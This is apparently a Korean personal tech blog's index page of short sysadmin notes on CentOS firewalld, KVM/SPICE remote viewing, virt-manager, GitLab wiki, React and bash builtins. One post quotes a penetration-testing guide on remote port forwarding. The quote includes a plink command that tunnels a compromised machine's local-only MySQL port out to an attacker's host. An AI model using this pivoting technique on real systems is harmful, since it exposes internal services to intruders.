'잡동사니'에 해당되는 글 13673건

  1. 2019.01.28 KVM spice 원격 접속시 No route to host
  2. 2019.01.28 ssh remote port forwarding
  3. 2019.01.28 virt-viewer for windows
  4. 2019.01.28 별별 희한한 제약을 다 만들었네 -_- 4
  5. 2019.01.28 virt-manager 백업 및 복구
  6. 2019.01.28 NAS4free
  7. 2019.01.28 virt-manager
  8. 2019.01.28 gitlab wiki 2
  9. 2019.01.28 react.js + spring 2
  10. 2019.01.28 bash builtin 명령어 .
Linux/centos2019. 1. 28. 16:19

firewalld 라는 망할(?) 새로운 데몬이 추가되어 얘를 죽여야 된다. -_-


요건 일단 서비스 죽이는 법

# systemctl stop firewalld 

[링크 : https://www.liquidweb.com/kb/how-to-stop-and-disable-firewalld-on-centos-7/]


firewalld에서 차단하는 목록을 확인하는 법을 찾아야겠다..

# firewall-cmd --list-all 

# firewall-cmd --add-port=21/tcp

# firewall-cmd --remove-port=21/tcp

[링크 : https://www.manualfactory.net/10153]


+

[링크 : https://www.lesstif.com/pages/viewpage.action?pageId=22053128]


'Linux > centos' 카테고리의 다른 글

centos backup  (0) 2019.02.13
centos epel 저장소 추가  (0) 2019.02.13
yum checkupdate  (0) 2019.01.25
centos 서비스 등록하기  (0) 2018.12.03
centos 서비스 자동시작  (0) 2018.11.16
Posted by 구차니

netstat에서 다음과 같은 신기한게 있어서 검색

sshd: root@pt 


아무튼.. 원격에서 ssh를 통해서 포트포워딩 해서 쓸 수 있도록 하는거 같은데..

한개의 포트라면 이게 더 깔끔 하려나?

Remote port forwarding

Remote port forwarding is crazy, yet very simple concept. So imagine that you have compromised a machine, and that machine has like MYSQL running but it is only accessible for localhost. And you can't access it because you have a really crappy shell. So what we can do is just forward that port to our attacking machine. The steps are as following:


Here is how you create a remote port forwarding:

ssh <gateway> -R <remote port to bind>:<local host>:<local port>


By the way, plink is a ssh-client for windows that can be run from the terminal. The ip of the attacking machine is 111.111.111.111.


Step 1 So on our compromised machine we do:

plink.exe -l root -pw mysecretpassword 111.111.111.111 -R 3307:127.0.0.1:3306


Step 2 Now we can check netstat on our attacking machine, we should see something like this:

tcp        0      0 127.0.0.1:3307          0.0.0.0:*               LISTEN      19392/sshd: root@pt

That means what we can connect to that port on the attacking machine from the attacking machine.


Step 3 Connect using the following command:

mysql -u root -p -h 127.0.0.1 --port=3307 


[링크 : https://xapax.gitbooks.io/security/content/port_forwarding_and_tunneling.html]

'프로그램 사용 > ssh scp sftp' 카테고리의 다른 글

ssh blowfish  (0) 2019.09.24
ssh tunnel proxy  (0) 2019.09.20
reverse SSH  (0) 2018.05.14
rpi vpn client  (0) 2018.05.11
scp: ambiguous target 에러  (0) 2016.09.21
Posted by 구차니

5900 이래서 VNC 인가 했는데.. SPICE 포트이기도 해서 한번 실행시도..

근데.. 외부로 접근 안열려 있는지 안되네.. 끄응...



[링크 : https://www.spice-space.org/download.html]

[링크 : https://virt-manager.org/download/]

[링크 : https://www.qnap.com/.../vm-콘솔에-연결하는-spice-클라이언트virt-뷰어를-사용하는-방법/]



+

centos 상에서는 아래와 같이 접속하면 되는데.. 윈도우에서 하면 왜 안될까...

외부 접속을 기본으로 막은걸까?

# remote-viewer spice://localhost:5900 

[링크 : https://www.spice-space.org/spice-user-manual.html]

[링크 : https://www.qnap.com/.../how-to-use-the-spice-client-virt-viewer-to-connect-to-a-vm-console/]



+

Display Spice에서 Address가 Localhost only가 기본값이라 외부 접속이 안된 듯 하다.


단, 해당 설정은 장비가 내려간 상황에서만 변경이 가능하므로,

VM 생성시 설정을 하거나, 서버를 내리고 설정을 변경해 주어야 한다.


[링크 : http://blog.seabow.pe.kr/?p=1286]


+

네트워크 설정이 문제인가 안되는건 매한가지 ㅠㅠ


+

firewalld 내리니까 잘된다..

망할 iptables가 아니라 이제 또 다른 놈이 생겼네 -_-

'프로그램 사용 > kvm(virt-manager)' 카테고리의 다른 글

kvm qemu qcow2 vs raw with windows guest  (0) 2019.02.01
kvm 디스크 용량 늘리기 + 줄이기  (0) 2019.02.01
virbr0 - libvirt NIC  (0) 2019.01.29
virt-manager 백업 및 복구  (0) 2019.01.28
virt-manager  (0) 2019.01.28
Posted by 구차니
개소리 왈왈/블로그2019. 1. 28. 13:40

요즘 정신없어서 글을 비공개로 쓰고 수정하고 공개로 못 돌리다보니

한번에 정리하고 있었는데 이런 에러가 발생하네


설마 이게 예전에 말했던 하루 글 쓰기 30개 제한인가...



맞았나 보네.. 일단 오늘쓰고 내일 공개로 돌려야겠군.. 췟


Posted by 구차니

KVM 이라고 그냥 표기하면 되려나?

아무튼 백업하고 복구하는 법 찾는중..


설정 자체가 XML로 되어있다 보니 어느걸 해야 하는거야...


[링크 : https://www.addictivetips.com/ubuntu-linux-tips/backup-a-virt-manager-virtual-machine-on-linux/]

[링크 : https://jaredkipe.com/blog/programming/general/ubuntu-kvm-5-backing-up-and-restoring-a-vm/]


+

2019.02.01

[링크 : https://www.virtkick.com/docs/how-to-restore-live-backup-on-kvm-virtual-machine.html]

[링크 : https://jaredkipe.com/blog/programming/general/ubuntu-kvm-5-backing-up-and-restoring-a-vm/]

'프로그램 사용 > kvm(virt-manager)' 카테고리의 다른 글

kvm qemu qcow2 vs raw with windows guest  (0) 2019.02.01
kvm 디스크 용량 늘리기 + 줄이기  (0) 2019.02.01
virbr0 - libvirt NIC  (0) 2019.01.29
virt-viewer for windows  (0) 2019.01.28
virt-manager  (0) 2019.01.28
Posted by 구차니
프로그램 사용/freeNAS2019. 1. 28. 13:14


[링크 : https://gigglehd.com/zbxe/12355614]


nas4free.org가 xigmanas.com 으로 리다이렉션 되는 듯?

[링크 : https://www.xigmanas.com/]

[링크 : http://www.nas4free.org/]

'프로그램 사용 > freeNAS' 카테고리의 다른 글

raidz1 (zfs)  (0) 2019.01.25
freeNAS hardware RAID, hot swap 등등..  (0) 2019.01.25
freeNAS web GUI  (2) 2019.01.25
Posted by 구차니



[링크 : https://virt-manager.org/]

[링크 : https://www.oss.kr/info_install/show/48cd8d88-a79a-4e86-a9b8-8b2abe4665ac]

'프로그램 사용 > kvm(virt-manager)' 카테고리의 다른 글

kvm qemu qcow2 vs raw with windows guest  (0) 2019.02.01
kvm 디스크 용량 늘리기 + 줄이기  (0) 2019.02.01
virbr0 - libvirt NIC  (0) 2019.01.29
virt-viewer for windows  (0) 2019.01.28
virt-manager 백업 및 복구  (0) 2019.01.28
Posted by 구차니

대충 보고 만져보는데

gitlab에서는 페이지 별로 생성하는게 아니라

링크를 생성후 따라가면서 생성하는 컨셉으로 사용이 가능한 듯

(wikipedia 처럼 페이지 생성하고 링크를 이어주는 개념이 아닌 듯)


[링크 : https://opentutorials.org/module/567/4941]


위키 페이지

[링크 : https://docs.gitlab.com/ee/user/project/wiki/]


마크다운(위키 문법)

[링크 : https://docs.gitlab.com/ee/user/markdown.html]



+

굳이 링크없이 만들고 싶다면 URL 에서 페이지 명을 치면 되긴 한다.

'프로그램 사용 > gitlab & github' 카테고리의 다른 글

github 의 README.md 에 이미지 넣기  (0) 2024.12.31
gitlab 백업하기  (0) 2019.03.23
git push rejected by remote protected branch  (2) 2018.09.04
gitlab  (2) 2018.08.13
Posted by 구차니
Programming/react.js2019. 1. 28. 10:40

으으으 공부해야 할 것..

회사에서 프로젝트를 angular에서 react로 전환할 거라.. ㅠㅠ


[링크 : https://start.goodtime.co.kr/2018/09/스프링-부트-리액트-개발-셋업-2018/]

'Programming > react.js' 카테고리의 다른 글

react import {}  (0) 2019.01.31
react html to jsx  (0) 2019.01.29
webpack react  (0) 2019.01.28
react.js tutorial  (0) 2019.01.28
react.js  (2) 2019.01.10
Posted by 구차니
Linux2019. 1. 28. 10:03

먼가 오해를 한거 같은데.. .은 그냥 source 이다.

단순하게 환경변수 설정하는데 쓰는 거지

어떠한 것을 실행하기 위한건 아니란 것..


# .

-bash: .: filename argument required

.: usage: . filename [arguments] 



BASH BUILTIN COMMANDS

       Unless  otherwise  noted, each builtin command documented in this section as

       accepting options preceded by -  accepts  --  to  signify  the  end  of  the

       options.  The :, true, false, and test builtins do not accept options and do

       not treat -- specially.  The exit, logout, break, continue, let,  and  shift

       builtins accept and process arguments beginning with - without requiring --.

       Other builtins that accept arguments but  are  not  specified  as  accepting

       options  interpret arguments beginning with - as invalid options and require

       -- to prevent this interpretation.

       : [arguments]

              No effect; the command does nothing beyond  expanding  arguments  and

              performing any specified redirections.  A zero exit code is returned.


        .  filename [arguments]

       source filename [arguments]

              Read and execute commands from filename in the current shell environ‐

              ment and return the exit status of the  last  command  executed  from

              filename.   If  filename does not contain a slash, file names in PATH

              are used  to  find  the  directory  containing  filename.   The  file

              searched  for  in  PATH  need not be executable.  When bash is not in

              posix mode, the current directory is searched if no file is found  in

              PATH.   If  the  sourcepath  option  to  the shopt builtin command is

              turned off, the PATH is not searched.  If any arguments are supplied,

              they  become  the  positional  parameters  when filename is executed.

              Otherwise the positional parameters are unchanged.  The return status

              is  the  status of the last command exited within the script (0 if no

              commands are executed), and false if filename is not found or  cannot

              be read. 


얜 멀까...

# . ls

-bash: .: /usr/bin/ls: cannot execute binary file 



.과 source는 동일한 건데

admin-openrc.sh 파일을 로드하여 Identity 서비스에 대한 위치와 admin 프로젝트 및 사용자 credential과 함께 환경 변수를 넣어줍니다:


$ source admin-openrc.sh 

[링크 : https://docs.openstack.org/liberty/ko_KR/install-guide-obs/keystone-openrc.html]

'Linux' 카테고리의 다른 글

bcache - SSD write cache  (0) 2019.02.01
bacahe(SSD) + RAID(HDD), 그리고 bcache(ramfs) + RAID(HDD)  (0) 2019.02.01
네트워크 인터페이스 명칭이 이상하다? enp0s0? em0?  (0) 2019.01.23
getopt()  (0) 2018.11.12
mount -o codepage=cp949  (0) 2018.01.04
Posted by 구차니